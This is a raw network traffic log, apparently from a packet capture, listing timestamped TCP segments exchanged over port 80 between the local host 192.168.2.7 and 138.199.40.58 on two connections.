Apr 23, 2024 08:39:58.716480970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716480970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716525078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716536999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716614962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716625929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716630936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716645956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716665983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716686964 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716707945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716757059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716769934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716783047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716801882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716833115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716846943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716854095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716870070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.716907978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.716921091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717062950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717175961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717219114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717269897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717283964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717294931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717320919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717334032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717339993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717375040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717382908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717396975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717452049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717473030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717487097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717499971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717514038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717528105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717536926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717550993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717573881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717593908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717593908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717628956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717653036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717675924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717750072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717762947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717775106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717791080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.717793941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.717813015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718044043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718103886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718122005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718146086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718200922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718223095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718235016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718247890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718259096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718270063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718281031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718293905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718306065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718354940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718426943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718439102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718451023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718461990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718473911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718482018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718482018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718489885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718549967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718561888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718565941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718641043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718658924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718718052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718761921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718817949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718864918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.718873978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718910933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718975067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718988895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.718997002 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719014883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719028950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719036102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719063044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719082117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719105005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719156981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719213009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719216108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719225883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719248056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719261885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719269991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719291925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719310999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719315052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719367027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719377041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719379902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719392061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719434023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719446898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719455004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719517946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719538927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719566107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719594955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719614029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719628096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719702005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.719892025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.719942093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720005035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720046043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720107079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720112085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720120907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720134020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720148087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720165968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720182896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720196009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720206976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720207930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720247984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720248938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720252037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720276117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720334053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720341921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720401049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720436096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720455885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720525980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720539093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720580101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720583916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720657110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720679998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720693111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720741034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720823050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720837116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720854044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720876932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720897913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720921993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.720943928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.720977068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721025944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721026897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721187115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721199989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721210957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721223116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721235037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721239090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721246958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721259117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721271038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721282959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721290112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721293926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721302032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721304893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721349001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721370935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721402884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721417904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721555948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721591949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721607924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721755028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721813917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721827984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721832991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721848011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721863031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721868992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721915007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721926928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721944094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.721977949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721991062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.721997023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722013950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722035885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722060919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722074032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722084045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722126961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722140074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722148895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722151995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722171068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722174883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722198963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722212076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722248077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722248077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722311974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722480059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722492933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722529888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722533941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722636938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722651005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722659111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722661972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722685099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722707987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722750902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722794056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722816944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722829103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722841024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722847939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722875118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722887993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722896099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722918987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722940922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722960949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.722965002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.722976923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723023891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723045111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723061085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723079920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723100901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723143101 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723161936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723295927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723352909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723370075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723375082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723453045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723510027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723545074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723613977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723618984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723632097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723644972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723690987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723711014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723716974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723728895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723737001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723762035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723773003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723792076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723851919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723859072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723864079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723875046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723892927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723903894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723917007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723922014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.723938942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.723954916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724042892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724069118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724092960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724131107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724143028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724200964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724220991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724256992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724271059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724288940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724312067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724330902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724385023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724433899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724456072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724467993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724474907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724509001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724528074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724550962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724610090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724616051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724637032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724649906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724668980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724690914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724750996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724773884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724780083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724838972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.724844933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724858999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.724903107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725105047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725138903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725151062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725162983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725173950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725186110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725198030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725215912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725223064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725234985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725250959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725322962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725367069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725404978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725419044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725430965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725441933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725466967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725534916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725548983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725574017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725586891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725596905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725599051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725621939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725634098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725636959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725645065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725672960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725673914 CEST	49705	80	192.168.2.7	138.199.40.58
